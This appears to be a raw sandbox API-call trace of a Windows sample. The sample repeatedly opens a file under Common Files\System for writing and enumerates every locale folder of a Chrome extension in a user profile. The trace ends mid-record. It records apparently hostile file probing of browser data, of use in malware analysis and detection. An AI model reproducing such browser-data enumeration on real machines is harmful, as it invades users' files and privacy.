CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.516] GetFileType (hFile=0x19c) returned 0x1 [0133.517] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x293f3, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.517] AreFileApisANSI () returned 1 [0133.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.517] GetFileType (hFile=0x19c) returned 0x1 [0133.517] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x294f7, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.517] AreFileApisANSI () returned 1 [0133.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.517] GetFileType (hFile=0x19c) returned 0x1 [0133.517] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x295fb, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.517] AreFileApisANSI () returned 1 [0133.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.517] GetFileType (hFile=0x19c) returned 0x1 [0133.518] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x296ff, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.518] AreFileApisANSI () returned 1 [0133.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.518] GetFileType (hFile=0x19c) returned 0x1 [0133.518] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x29803, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x90\x80\x83")) returned 0xffffffff [0133.518] AreFileApisANSI () returned 1 [0133.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.518] GetFileType (hFile=0x19c) returned 0x1 [0133.518] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x29907, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.518] AreFileApisANSI () returned 1 [0133.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.518] GetFileType (hFile=0x19c) returned 0x1 [0133.519] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x29a0b, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.519] AreFileApisANSI () returned 1 [0133.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.519] GetFileType (hFile=0x19c) returned 0x1 [0133.519] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x29b0f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.519] AreFileApisANSI () returned 1 [0133.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.519] GetFileType (hFile=0x19c) returned 0x1 [0133.519] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x29c13, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.519] AreFileApisANSI () returned 1 [0133.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.520] GetFileType (hFile=0x19c) returned 0x1 [0133.520] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x29d17, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.520] AreFileApisANSI () returned 1 [0133.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.520] GetFileType (hFile=0x19c) returned 0x1 [0133.520] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x29e1b, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.520] AreFileApisANSI () returned 1 [0133.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.520] GetFileType (hFile=0x19c) returned 0x1 [0133.520] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x29f1f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.520] AreFileApisANSI () returned 1 [0133.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.521] GetFileType (hFile=0x19c) returned 0x1 [0133.521] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2a023, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.521] AreFileApisANSI () returned 1 [0133.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.521] GetFileType (hFile=0x19c) returned 0x1 [0133.521] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2a127, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.521] AreFileApisANSI () returned 1 [0133.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.521] GetFileType (hFile=0x19c) returned 0x1 [0133.521] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2a22e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.521] AreFileApisANSI () returned 1 [0133.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.522] GetFileType (hFile=0x19c) returned 0x1 [0133.522] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2a335, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.522] AreFileApisANSI () returned 1 [0133.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.522] GetFileType (hFile=0x19c) returned 0x1 [0133.522] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2a439, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.522] AreFileApisANSI () returned 1 [0133.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.522] GetFileType (hFile=0x19c) returned 0x1 [0133.522] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2a53d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.522] AreFileApisANSI () returned 1 [0133.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.523] GetFileType (hFile=0x19c) returned 0x1 [0133.523] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2a641, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.523] AreFileApisANSI () returned 1 [0133.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.523] GetFileType (hFile=0x19c) returned 0x1 [0133.523] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, 